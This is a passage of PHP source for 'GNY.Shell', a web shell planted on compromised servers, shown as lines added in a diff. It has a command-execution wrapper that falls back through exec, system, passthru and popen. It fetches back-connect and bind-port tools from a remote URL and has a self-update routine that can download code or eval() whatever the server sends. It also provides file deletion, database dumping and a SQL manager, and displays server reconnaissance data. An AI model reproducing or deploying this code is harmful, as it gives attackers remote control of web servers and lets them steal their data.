fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink(html_entity_decode($o));} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists('tabsort')) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists('view_perms')) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists('getsource')) +{ +function getsource($fn) +{ + global $GNY_sourcesurl; + $array = array( + "GNY_bindport.pl" => "GNY_bindport_pl.txt", + "GNY_bindport.c" => "GNY_bindport_c.txt", + "GNY_backconn.pl" => "GNY_backconn_pl.txt", + "GNY_backconn.c" => "GNY_backconn_c.txt", + "GNY_datapipe.pl" => "GNY_datapipe_pl.txt", + "GNY_datapipe.c" => "GNY_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($GNY_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists('sh_getupdate')) +{ +function sh_getupdate($update = TRUE) +{ + $url = $GLOBALS["GNY_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."!";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated successfully.";} + } + } + else {return "New version is available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# MySQL Database Dump - GNY.Shell +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# Database: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"GNY_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.GNY_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == 'LIMIT') + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists('fsearch')) +{ +function fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == 'gofile') {if (is_dir($f)) {$act = 'ls'; $d = $f;} else {$act = 'f'; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function GNYexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +// took the disabled functions from r57shell +?> +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>GNY.Shel! Encoded v1.1 edited B.Y $c0rPi0n</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #0033FF; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #0033FF; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #0033FF; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0033FF; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #66DD11; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; TEXT-DECORATION: none;}A:hover { COLOR: #66DD11; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #0033FF; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #0033FF;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head> + +<script language="Javascript"> +<!-- + function GetKeyCode(evt) + { + var charCode = (evt.which) ? evt.which : event.keyCode + // if not a digit or arrow key abort + if ( charCode == 92) { + alert(1); + } + } +//--> +</script> + +<BODY OnKeyPress="GetKeyCode();" text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><center><font color="#0033FF"><pre> _____ _ ___ __ _____ _ _ _ + / ____| \ | \ \ / // ____| | | | | +| | __| \| |\ \_/ /| (___ | |__ ___| | | +| | |_ | . ` | \ / \___ \| '_ \ / _ \ | | +| |__| | |\ | | | _ ____) | | | | __/ | | + \_____|_| \_| |_|(_)_____/|_| |_|\___|_|_| {V1.1 edited by $c0rPi0n}</pre></font> +</center></th></tr><tr><td> +<table border=0 width=100%> +<tr><td colspan=2><center><b><?php echo $DISP_SERVER_SOFTWARE; ?></td></tr> +<tr><td><b>Kernel: <?php echo wordwrap(php_uname(),90,'<br>',1); if($win) echo ' ('.exec('ver').')'; ?></b></td><td align=right><b>Safe-Mode: <?php echo $hsafemode; ?></b></td></tr> +<tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else {echo 'Running As: '.get_current_user();} ?></b></td><td align=right><b>Disabled PHP Functions: <?php if(''==($df=@ini_get('disable_functions'))){echo '<font color=green>NONE</font></b>';}else{echo '<br><font color=red>'.str_replace(',', ', ', $df).'</font></b>';} ?></b><?php $curl_on = @function_exists('curl_version'); +echo "<br/><b>cURL: ".(($curl_on)?("<font color=green>ON</font></b>"):("<font color=red>OFF</font></b>")); ?></td></tr> +<tr><td><?php + +// *** +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath('.');} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +// *** + +if (is_callable('disk_free_space')) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo '<b>Free '.view_size($free).' of '.view_size($total).' ('.$free_percent.'%)</b>'; +} +echo '</td><td align=right><b>Server IP: <a href=http://whois.domaintools.com/'.gethostbyname($_SERVER["HTTP_HOST"]).'>'.gethostbyname($_SERVER["HTTP_HOST"]).'</a> - Your IP: <a href=http://whois.domaintools.com/'.$_SERVER["REMOTE_ADDR"].'>'.$_SERVER["REMOTE_ADDR"].'</a></b></td></tr>'; +?> +</table> +<br> +<p align="left"><?php +// moved the dir stuff up above the disk free space so that it still gets the variables, even though it's being called before the echo current dir (put *** around it) +foreach($pd as $b) +{ + $t = ''; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo '<a href="'.$surl.'act=ls&d='.urlencode($t).'&sort='.$sort.'"><b>'.htmlspecialchars($b).DIRECTORY_SEPARATOR.'</b></a>'; + $i++; +} +echo '&nbsp;&nbsp;&nbsp;'; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo '<b>'.view_perms_color($d).'</b>'; +} + +echo '<br>'; +$letters = ''; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range('a','z') as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode(strtoupper($letter).":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">["; + if ($letter.":" != $v) {$letters .= strtoupper($letter);} + else {$letters .= '<font color=green>'.strtoupper($letter).'</font>';} + $letters .= ":]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +if (count($quicklaunch2) > 0) +{ +echo '<br>'; + foreach($quicklaunch2 as $item) + { + $item[1] = str_replace('%d',urlencode($d),$item[1]); + $item[1] = str_replace('%sort',$sort,$item[1]); + $v = realpath($d.'..'); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace('%upd',urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +/* +echo '<form action=? method=POST> + <input type="hidden" name="act" value="proxy"> + <input type=submit value=[Proxy]></form>'; +echo '</p></td></tr></table><br>'; +*/ +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == '') {$act = $dspact = 'ls';} +if ($act == 'sql') +{ + $sql_surl = $surl.'act=sql'; + if ($sql_login) {$sql_surl .= '&sql_login='.htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= '&sql_passwd='.htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= '&sql_server='.htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= '&sql_port='.htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= '&sql_db='.htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "</center><br/><b>MySQL: "; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } +echo "<br/>MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?> </b>&nbsp;</p> <?php + echo '<center><b>SQL Manager:</b><br>'; + if (!$sql_sock) + { + if (!$sql_server) {echo 'NO CONNECTION';} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) 